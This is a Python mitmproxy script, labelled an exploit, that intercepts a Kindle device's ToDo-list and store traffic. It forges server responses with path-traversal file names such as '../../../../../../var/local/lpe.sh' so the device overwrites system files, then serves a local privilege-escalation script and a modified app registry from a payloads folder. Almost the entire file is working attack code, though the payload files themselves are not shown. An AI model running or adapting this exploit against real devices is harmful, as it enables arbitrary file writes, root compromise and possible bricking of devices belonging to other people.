from mitmproxy import http
import sys

print("ToDo: Exploit ToDo | Module initialised.")

def response(flow: http.HTTPFlow) -> None:
    if "todo-ta-g7g.amazon.com/FionaTodoListProxy/getItems" in flow.request.pretty_url:
        print("ToDo: Exploit ToDo | getItems intercepted.")

        #build = flow.request.pretty_url.split("&")[3].split("=")[1]
        #print(f"ToDo: Exploit ToDo | build: {build}.")

        document = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?><response><total_count>2</total_count><items><item priority=\"1\" type=\"SCFG\" action=\"SET\" key=\"LPE\" is_incremental=\"false\" sequence=\"0\">refreshcache.cacheStoreFile1.update.intervalInMinutes=5\nrefreshcache.cacheStoreFile1.wifionly=false\ncacheStoreFile1.url=https://www.amazon.co.uk/kindle-dbs/secondaryStore\ncacheStoreFile1.fileName=../../../../../../var/local/lpe.sh\ncacheStoreFile1.forceUpdate=yes</item><item priority=\"2\" type=\"SCFG\" action=\"SET\" key=\"APPREG\" is_incremental=\"false\" sequence=\"0\">refreshcache.cacheStoreHtml.update.intervalInMinutes=5\nrefreshcache.cacheStoreHtml.wifionly=false\ncacheStoreHtml.url=https://www.amazon.co.uk/gp/digital/juno/index.html\ncacheStoreHtml.fileName=../../../../../../var/local/appreg.db\ncacheStoreHtml.forceUpdate=yes</item></items></response>"

        flow.response.text = document

        flow.response.headers["Content-Type"] = "text/xml;charset=UTF-8"

        flow.response.status_code = 200

    if "todo-ta-g7g.amazon.com/FionaTodoListProxy/removeItems" in flow.request.pretty_url:
        print("ToDo: Exploit ToDo | removeItems intercepted, sending success.")

        if flow.request.content:
            text = flow.request.text
            if "COMPLETED" in text:
                if "APPREG" in text:
                    print("ToDo: Exploit ToDo | APPREG download request has been parsed successfully by the device.")
                elif "LPE" in text:
                    print("ToDo: Exploit ToDo | LPE download request has been parsed successfully by the device.")
                else:
                    print("ToDo: Exploit ToDo | removeItems claims document parsing completion but on neither of our requested documents?")
            else:
                print("ToDo: Exploit ToDo | removeItems claims document parsing failure!")

        success = f"""<?xml version="1.0" encoding="UTF-8"?>
<response>
  <status>SUCCESS</status>
</response>
"""

        flow.response.text = success
        flow.response.headers["Content-Type"] = "application/xml; charset=utf-8"
        
        flow.response.status_code = 200

    # Handle downloads; Device identifiers do not need to be used here.
    # You can get these modified files from the article.
    if "www.amazon.co.uk/gp/digital/juno/index.html" in flow.request.pretty_url and flow.request.headers.get("X-AMZN-JUNO-CT-REQ-TYPE") == "tmd":
        print("ToDo: Exploit ToDo | TMD grabbed, intercepting store download, serving modified appreg.")

        try:
            with open("./payloads/appreg.db", "rb") as f:
                db = f.read()
        except FileNotFoundError:
            print("ToDo: Exploit ToDo | panic! no appreg.db found, terminate.")
            sys.exit(1) # Don't cause certain bricks

        flow.response = http.Response.make(
            200, 
            db
        )
        flow.response.headers["Content-Type"] = "application/octet-stream"

    if "www.amazon.co.uk/kindle-dbs/secondaryStore" in flow.request.pretty_url and flow.request.headers.get("X-AMZN-JUNO-CT-REQ-TYPE") == "tmd":
        print("ToDo: Exploit ToDo | TMD grabbed, intercepting secondaryStore download, serving LPE.sh.")

        try:
            with open("./payloads/lpe.sh", "rb") as f:
                sh = f.read()
        except FileNotFoundError:
            print("ToDo: Exploit ToDo | panic! no LPE found, terminate.")
            sys.exit(1) # KPPMainApp may loop.

        flow.response = http.Response.make(
            200,
            sh
        )

        flow.response.headers["Content-Type"] = "text/plain; charset=utf-8"